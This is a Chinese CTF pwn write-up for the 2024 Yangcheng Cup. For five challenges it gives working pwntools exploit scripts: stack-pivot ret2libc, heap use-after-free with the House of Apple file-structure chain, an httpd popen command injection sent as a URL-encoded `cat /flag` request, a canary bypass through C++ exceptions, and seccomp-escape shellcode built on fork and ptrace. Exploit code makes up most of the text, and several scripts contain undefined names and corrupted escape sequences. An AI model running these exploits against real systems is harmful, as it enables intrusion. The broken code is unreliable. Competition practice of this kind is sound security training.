pstack
溢出0x10个字节,控制rbp,返回这个位置,读rop链到bss段,走ret2libc。
.text:00000000004006BF call puts
.text:00000000004006C4 lea rax, [rbp+buf]
.text:00000000004006C8 mov edx, 40h ; '@' ; nbytes
.text:00000000004006CD mov rsi, rax ; buf
.text:00000000004006D0 mov edi, 0 ; fd
.text:00000000004006D5 call read
.text:00000000004006DA nop
.text:00000000004006DB leave
.text:00000000004006DC retn
;控制rbp即可控制写入位置
from pwn import *
#from Crypto.Util.number import bytes_to_long,bytes_to_long
#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
li = lambda content,data : print('x1b[01;38;5;214m' + content + ' = ' + hex(data) + 'x1b[0m')
lg = lambda content : print('x1b[01;38;5;214m' + content +'x1b[0m')
sla = lambda data, content: io.sendlineafter(data,content)
sa = lambda data, content: io.sendafter(data,content)
sl = lambda data: io.sendline(data)
s = lambda data: io.send(data)
rl = lambda data: io.recvuntil(data)
re = lambda data: io.recv(data)
sa = lambda data, content: io.sendafter(data,content)
dbg = lambda : gdb.attach(io)
bk = lambda : (dbg(),pause())
inter = lambda: io.interactive()
l64 = lambda :u64(io.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))
h64=lambda :u64(io.recv(6).ljust(8,b'x00'))
add=0
orw_shellcode = asm(shellcraft.open('flag') + shellcraft.read(3, add, 0x30) + shellcraft.write(1,add, 0x30))
def dbg(c = 0):
if(c):
gdb.attach(io, c)
pause()
else:
gdb.attach(io)
pause()
#---------------------------------------------------------
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF("/home/ly/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/ly/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
filename = "./pwn"
io = process(filename)
elf = ELF(filename)
#---------------------------------------------------------
pop_rdi = 0x0000000000400773
ret = pop_rdi+1
pop_rsi = 0x0000000000400771 #pop rsi ; pop r15 ; ret
leave_ret = 0x00000000004006db
bss =elf.bss()+0x300
main_no_rbp =
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
payload=b'a'*0x30+p64(bss)+p64(0x4006C4)
sla(b"?n", payload)
payload=p64(bss+0x500)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(0x4006C4)
payload=payload.ljust(0x30,b'x00')
payload+=p64(bss-0x30)+p64(leave_ret)
s(payload)
libc_addr=u64(io.recv(6).ljust(8,b"x00"))-libc.sym['puts']
lg(hex(libc_addr))
libc.address=libc_addr
system=libc.sym['system']
bin_sh = next(libc.search(b'/bin/sh '))
ogg=libc.address+0xebd43
payload=p64(bss)+p64(pop_rdi)+p64(bin_sh)+p64(ret)+p64(system)
payload=payload.ljust(0x30,b'x00')
payload+=p64(bss+0x500-0x10-0x20)
payload+=p64(leave)
s(payload)
inter()
TravelGraph
uaf导致堆溢出写漏洞,堆风水之后走apple的orw得到flag。
from pwn import *
from Crypto.Util.number import bytes_to_long, bytes_to_long
# --------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
li = lambda content, data: print('x1b[01;38;5;214m' + content + ' = ' + hex(data) + 'x1b[0m')
lg = lambda content: print('x1b[01;38;5;214m' + content + 'x1b[0m')
sla = lambda data, content: io.sendlineafter(data, content)
sa = lambda data, content: io.sendafter(data, content)
sl = lambda data: io.sendline(data)
rl = lambda data: io.recvuntil(data)
re = lambda data: io.recv(data)
dbg = lambda: gdb.attach(io)
bk = lambda: (dbg(), pause())
inter = lambda: io.interactive()
l64 = lambda: u64(io.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))
h64 = lambda: u64(io.recv(6).ljust(8, b'x00'))
add = 0
orw_shellcode = asm(shellcraft.open('flag') + shellcraft.read(3, add, 0x30) + shellcraft.write(1, add, 0x30))
def dbg(c=0):
if c:
gdb.attach(io, c)
pause()
else:
gdb.attach(io)
pause()
# ---------------------------------------------------------
libc = ELF('./libc.so.6')
filename = "./pwn"
io = process(filename)
elf = ELF(filename)
# ---------------------------------------------------------
g = 'guangzhou'
n = 'nanning'
c = 'changsha'
d = 'nanchang'
f = 'fuzhou'
def add(type, A, B, content):
sla(".", '1')
if type == 0:
sla("?", "car")
elif type == 1:
sla("?", "train")
elif type == 2:
sla("?", "plane")
sla("?", A)
sla("?", B)
sla("?", '1000')
sla(":", content)
def free(A, B):
sla("5. Calculate the distance.", '2')
sla("?", A)
sla("?", B)
def show(A, B):
sla("5. Calculate the distance.", '3')
sla("?", A)
sla("?", B)
def edit(A, B, idx, far, content):
sla("5. Calculate the distance.", '4')
sla("?", A)
sla("?", B)
sla("?", str(idx))
sla("?", far)
sa(":", content)
def calc(A):
sla("5. Calculate the distance.", '5')
sla("?", A)
add(0, g, n, "a"*4)
add(2, n, c, "a"*4)
add(1, c, d, "a"*4)
calc(d)
free(g, n)
add(2, f, d, "AAAA")
add(0, g, n, "x70")
show(g, n)
rl("Note:")
heap = h64() - 0x1470
print(hex(heap))
free(n, c)
free(g, n)
add(2, n, c, "A" * 0x510)
show(n, c)
libc.address = l64()- 0x219ce0 - 0x1000
print(hex(libc.address))
free(n, c)
free(f, d)
payload = b"A" * 0x510 + p32(3) + p32(4) + p64(3)
add(2, n, c, payload)
free(c, d)
add(1, c, d, "AAAA")
add(2, f, d, "AAAA")
add(0, g, n, "AAAA")
free(c, d)
add(2, f, d, "AAAA")
free(g, n)
#apple ->orw
fd = libc.address + 0x21b110
chunk = 0x19b0 + heap
FP = heap + 0x19b0
A = FP + 0x100
B = A + 0xe0 - 0x60
_IO_wfile_jumps = libc.sym['_IO_wfile_jumps']
pop_rdi = 0x000000000002a3e5 + libc.address
pop_rdx_12 = 0x000000000011f2e7 + libc.address
pop_rsi = 0x000000000002be51 + libc.address
ret = 0x0000000000029139 + libc.address
setcontext = libc.sym['setcontext']
ROP_addr = FP + 0x400 + 0x30
payload = (0xa0 - 0x10) * b"x00" + p64(A) #
payload = payload.ljust(0xb0, b"x00") + p64(1)
payload = payload.ljust(0xc8, b"x00") + p64(_IO_wfile_jumps - 0x40)
payload = payload.ljust(0x190, b"x00") + p64(ROP_addr) + p64(ret)
sla("5. Calculate the distance.", '4')
sla("?", f)
sla("?", d)
sla("?", str(0))
sla("?", str(0x41414141))
orw = b"x00" * (0x410 - 0x1d0) + p64(pop_rdi) + p64(heap + 0x1e80 - 8) + p64(pop_rsi) + p64(0) + p64(pop_rdx_12) + p64(0) * 2 + p64(libc.sym['open'])
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(FP + 0x700) + p64(pop_rdx_12) + p64(0x30) * 2 + p64(libc.sym['read'])
orw += p64(pop_rdi) + p64(1) + p64(libc.sym['write']) + b"/flagx00"
sa(":", p64(0) + p64(0x531) + p64(fd) * 2 + p64(chunk) + p64(libc.sym['_IO_list_all'] - 0x20) + payload[0x20:] + orw)
add(2, f, d, "AAAA")
add(0, g, n, payload[0x10:])
# gdb.attach(p,"")
# sleep(2)
sla("5. Calculate the distance.", '4')
inter()
httpd
popen函数存在命令注入漏洞。
sub_25DE(v35, v35);
if ( !*haystack )
haystack = "./";
v18 = strlen(haystack);
if ( *haystack == 47
|| !strcmp(haystack, "..")
|| !strncmp(haystack, "../", 3u)
|| strstr(haystack, "/../")
|| !strcmp(&haystack[v18 - 3], "/..") )
{
sub_233E(400, (int)"Bad Request", 0, "Illegal filename.");
}
if ( !sub_1F74(haystack) )
sub_233E(404, (int)"Not Found", 0, "Invalid file name.");
v1 = fileno(stdout);
fd = dup(v1);
v2 = fileno(stderr);
v22 = dup(v2);
freopen("/dev/null", "w", stdout);
freopen("/dev/null", "w", stderr);
stream = popen(haystack, modes);//存在命令注入漏洞
if ( stream )
{
pclose(stream);
v4 = fileno(stdout);
dup2(fd, v4);
v5 = fileno(stderr);
dup2(v22, v5);
close(fd);
close(v22);
if ( stat(haystack, &v27) < 0 )
会有一个url解码,需要对命令先url编码一下,特别是’/’等符号。
测试发现是可以到这里的,但是前后的输出流都被关闭了,很多符号都被禁用了。
比如:
&
|
;
$
{
}
`
"sh" (字符串)
"bin" (字符串)
想到的是把命令执行的结果输出到xxxindex.html文件中,然后再到文件中去读取,分两次访问。
我们先试试 ls> flagindex.html。
发现是成功的,所以我们可以cat /flag >flagindex.html,然后再去访问html文件就行了,分两次就可以把flag读出来。
#first
from pwn import *
import sys
#p = process('./httpd')
context.clear(arch='amd64', os='linux', log_level='debug')
p = remote("ip",port)
raw_input("Ther")
payload = b'GET /cat%20%2Fflag%20%3E%20flagindex.html HTTP/1.0rn'
payload += b'Host: 127.0.0.1rn'
payload += b'Content-Length: 0rn'
payload += b'rn'
p.send(payload)
data = p.recvall(timeout=2)
print(data.decode())
io.close()
p = remote("ip",port)
raw_input("Ther")
payload = b'GET /flagindex.html HTTP/1.0rn'
payload += b'Host: 127.0.0.1rn'
payload += b'Content-Length: 0rn'
payload += b'rn'
p.send(payload)
data = p.recvall(timeout=2)
print(data.decode())
logger
Shanghai-DCTF-2017 类似的题目。
https://www.anquanke.com/post/id/89855#h2-0
存在栈溢出,但是有canary,利用异常处理机制去绕过canary的检查,找到了一下两个gadget可以进行利用。
这里有后门可以利用。
.text:0000000000401BD9 loc_401BD9: ; CODE XREF: sub_401B8F+40↑j
.text:0000000000401BD9 mov rdi, rax ; void *
.text:0000000000401BDC call ___cxa_begin_catch
.text:0000000000401BE1 mov [rbp+command], rax
.text:0000000000401BE5 mov rax, [rbp+command]
.text:0000000000401BE9 mov rsi, rax
.text:0000000000401BEC lea rax, aAnExceptionOfT_1 ; "[-] An exception of type String was cau"...
.text:0000000000401BF3 mov rdi, rax ; format
.text:0000000000401BF6 mov eax, 0
.text:0000000000401BFB ; try {
.text:0000000000401BFB call _printf
.text:0000000000401C00 mov rax, [rbp+command]
.text:0000000000401C04 mov rdi, rax ; command
.text:0000000000401C07 call _system
from pwn import *
from Crypto.Util.number import bytes_to_long, bytes_to_long
# --------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
li = lambda content, data: print('x1b[01;38;5;214m' + content + ' = ' + hex(data) + 'x1b[0m')
lg = lambda content: print('x1b[01;38;5;214m' + content + 'x1b[0m')
sla = lambda data, content: io.sendlineafter(data, content)
sa = lambda data, content: io.sendafter(data, content)
sl = lambda data: io.sendline(data)
rl = lambda data: io.recvuntil(data)
re = lambda data: io.recv(data)
dbg = lambda: gdb.attach(io)
bk = lambda: (dbg(), pause())
inter = lambda: io.interactive()
l64 = lambda: u64(io.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))
h64 = lambda: u64(io.recv(6).ljust(8, b'x00'))
add = 0
orw_shellcode = asm(shellcraft.open('flag') + shellcraft.read(3, add, 0x30) + shellcraft.write(1, add, 0x30))
def dbg(c=0):
if c:
gdb.attach(io, c)
pause()
else:
gdb.attach(io)
pause()
# ---------------------------------------------------------
libc = ELF('./libc.so.6')
filename = "./pwn"
io = process(filename)
elf = ELF(filename)
# ---------------------------------------------------------
def record_data(log):
sla("Your choice:", str(1)) # 选择第一个选项
sla("here:", log) # 发送记录数据
sla("records?", 'y') # 询问是否记录
def send_warning(msg):
sla("Your choice:", str(2)) # 选择警告选项
ru('31m') # 接收后续数据
time = p.recvline()[:0x14] # 读取时间数据
sla("plz: ", msg) # 发送警告消息
record_data(p64( 0x404020) * 2)
record_data(p64( 0x404020) * 2)
record_data(p64( 0x404020) * 2)
record_data(p64( 0x404020) * 2)
#
#shell()
record_data(p64( 0x404020) * 2)
#gdb.attach(io)
#pause
record_data(p64( 0x404020) * 2)
record_data(p64( 0x404020) * 2)
record_data(p64( 0x404020) * 2)
record_data("/bin/sh")
send_warning(b'x00' * 0x70 + p64(read_addr + 0x18) + p64(0x401bc7))
inter()
try-hard-sanbox(赛后复现)
沙盒机制不是直接kill,而是trace:
参考链接:
https://man7.org/linux/man-pages/man2/seccomp.2.html
uaf漏洞,走apple链子,最后执行shellcode。
open和openat被禁掉了,走fork+ptrace绕过沙盒。
from pwn import *
from Crypto.Util.number import bytes_to_long, bytes_to_long
# --------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
li = lambda content, data: print('x1b[01;38;5;214m' + content + ' = ' + hex(data) + 'x1b[0m')
lg = lambda content: print('x1b[01;38;5;214m' + content + 'x1b[0m')
sla = lambda data, content: io.sendlineafter(data, content)
sa = lambda data, content: io.sendafter(data, content)
sl = lambda data: io.sendline(data)
rl = lambda data: io.recvuntil(data)
re = lambda data: io.recv(data)
dbg = lambda: gdb.attach(io)
bk = lambda: (dbg(), pause())
inter = lambda: io.interactive()
l64 = lambda: u64(io.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))
h64 = lambda: u64(io.recv(6).ljust(8, b'x00'))
add = 0
orw_shellcode = asm(shellcraft.open('flag') + shellcraft.read(3, add, 0x30) + shellcraft.write(1, add, 0x30))
def dbg(c=0):
if c:
gdb.attach(io, c)
pause()
else:
gdb.attach(io)
pause()
# ---------------------------------------------------------
libc = ELF('./libc.so.6')
filename = "./pwn"
io = process(filename)
elf = ELF(filename)
# ---------------------------------------------------------
def add(index, size):
sla('>', '1')
sla('Index: ', str(index))
sla(': ', str(size))
def edit(index, content):
sla('>', '3')
sla('Index: ', str(index))
sa(': ', content)
def delete(index):
sla('>', '2')
sla('Index: ', str(index))
def show(index):
sla('>', '4')
sla(': ', str(index))
add(0, 0x520)
add(1, 0x508)
delete(0)
show(0)
libc_base =h64() - 0x1f6cc0
print(libc_base)
system = libc_base + libc.sym['system']
add(2, 0x508)
add(3, 0x518)
add(4, 0x528)
delete(2)
delete(3)
show(3)
heap_base =h64() - 0x290
add(2, 0x508)
add(3, 0x518)
li(hex(libc_base))
li(hex(heap_base))
add(5, 0x558)
add(6, 0x558)
add(7, 0x548)
add(8, 0x548)
delete(5)
add(9, 0x598)
delete(7)
puts_io_all = libc_base + libc.sym['_IO_list_all']
wfile = libc_base + libc.sym['_IO_wfile_jumps']
addr = libc.symbols['puts'] + libc_base
fake_io_addr = heap_base + 0x16E0
lock = 0x3ed8b0 + libc_base
pop_rdi = libc_base + next(libc.search(asm('pop rdi;ret;')))
pop_rsi = libc_base + next(libc.search(asm('pop rsi;ret;')))
rsi_r15 = libc_base + 0x0000000000023b63
pop_rdx_rbx = libc_base + next(libc.search(asm('pop rdx;pop rbx;ret;')))
r12 = libc_base + next(libc.search(asm('pop r12;ret;')))
leave_ret = libc_base + next(libc.search(asm('leave;ret;')))
rax = libc_base + 0x3fa43
rdx = libc_base + 0x166262
ret = libc_base + 0x233d1
open_addr = libc.symbols['open'] + libc_base
read_addr = libc.symbols['read'] + libc_base
write_addr = libc.symbols['write'] + libc_base
puts_addr = libc.symbols['puts'] + libc_base
prctl = libc.symbols['prctl'] + libc_base
io_all = libc_base + libc.sym['_IO_list_all']
wfile = libc_base + libc.sym['_IO_wfile_jumps']
magic_gadget = libc_base + 0x163090 + 0x1a
orw_addr = heap_base + 0x2740
syscall = read_addr + 15
orw = b'./flagx00x00'
orw += p64(rsi_r15) + p64(0) + p64(fake_io_addr - 0x10 + 0x40)
orw += p64(pop_rsi) + p64(0x2000)
orw += p64(pop_rdi) + p64(heap_base)
orw += p64(rdx) + p64(7)
orw += p64(rax) + p64(10)
orw += p64(syscall)
orw += p64(ret) + p64(heap_base + 0x2a0)
mprotect = libc_base + libc.sym['mprotect']
PTRACE_ATTACH = 0x10
PTRACE_CONT = 7
PTRACE_DETACH = 17
PTRACE_INTERRUPT = 12
PTRACE_SETOPTIONS = 0x4200
PTRACE_O_TRACESECCOMP = 0x80
shellcode = '''
sub rsp,0x100
push rax
'''
shellcode += shellcraft.fork()
shellcode += '''
mov r13,rax
cmp r13,0
push r13
push r13
push r13
push r13
/* write(fd=1, buf='rsp', n=8) */
push 1
pop rdi
push 8
pop rdx
mov rsi, rsp
/* call write() */
push 1 /* 1 */
pop rax
syscall
/* ptrace(request=0x10, vararg_0='r13', vararg_1=0, vararg_2=0) */
xor r10d, r10d /* 0 */
push 0x10
pop rdi
xor edx, edx /* 0 */
mov rsi, r13
/* call ptrace() */
push 101 /* 0x65 */
pop rax
syscall
pop r13
/* wait4(pid=0, stat_loc=0, options=0, usage=0) */
xor r10d, r10d /* 0 */
xor edi, edi /* 0 */
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call wait4() */
push 61 /* 0x3d */
pop rax
syscall
pop r13
/* ptrace(request=0x4200, vararg_0='r13', vararg_1=0, vararg_2=0x80) */
xor r10d, r10d
mov r10b, 0x80
mov edi, 0x1010101 /* 16896 == 0x4200 */
xor edi, 0x1014301
xor edx, edx /* 0 */
mov rsi, r13
/* call ptrace() */
push 101 /* 0x65 */
pop rax
syscall
pop r13
/* ptrace(request=7, vararg_0='r13', vararg_1=0, vararg_2=0) */
xor r10d, r10d /* 0 */
push 7
pop rdi
xor edx, edx /* 0 */
mov rsi, r13
/* call ptrace() */
push 101 /* 0x65 */
pop rax
syscall
pop r13
/* wait4(pid=0, stat_loc=0, options=0, usage=0) */
xor r10d, r10d /* 0 */
xor edi, edi /* 0 */
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call wait4() */
push 61 /* 0x3d */
pop rax
syscall
/* ptrace(request=0x11, vararg_0='r13', vararg_1=0, vararg_2=0) */
xor r10d, r10d /* 0 */
push 0x11
pop rdi
xor edx, edx /* 0 */
mov rsi, r13
/* call ptrace() */
push 101 /* 0x65 */
pop rax
syscall
/* open(file='./flag', oflag=0, mode=0) */
/* push b'./flagx00' */
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x67616c662f2e
xor [rsp], rax
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call open() */
push 2 /* 2 */
pop rax
syscall
/* sendfile(out_fd=1, in_fd='rax', offset=0, count=0x50) */
push 0x50
pop r10
push 1
pop rdi
xor edx, edx /* 0 */
mov rsi, rax
/* call sendfile() */
push 40 /* 0x28 */
pop rax
syscall
'''
shellcode = shellcode.format(
PTRACE_ATTACH=PTRACE_ATTACH,
PTRACE_SETOPTIONS=PTRACE_SETOPTIONS,
PTRACE_CONT=PTRACE_CONT,
PTRACE_DETACH=PTRACE_DETACH,
PTRACE_O_TRACESECCOMP=PTRACE_O_TRACESECCOMP
)
shell = asm(shellcode)
shell = shell.ljust(0x400, b'x90')
edit(0, shell)
edit(8, orw)
pl = p64(0) + p64(leave_ret) + p64(0) + p64(puts_io_all - 0x20)
pl += p64(0) * 2 + p64(0) + p64(orw_addr)
pl += p64(0) * 4
pl += p64(0) * 3 + p64(lock)
pl += p64(0) * 2 + p64(fake_io_addr + 0xe0 + 0x40) + p64(0)
pl += p64(0) * 4
pl += p64(0) + p64(wfile)
pl += p64(0) * 0x1c + p64(fake_io_addr + 0xe0 + 0xe8 + 0x40)
pl += p64(0) * 0xd + p64(magic_gadget)
edit(5, pl)
add(10, 0x640)
add(11, 0x540)
print(hex(rsi_r15))
print(hex(orw_addr))
dbg()
r.sendline('5')
r.interactive()
原文始发于微信公众号(山石网科安全技术研究院):2024年羊城杯粤港澳大湾区网络安全大赛WP-PWN AK篇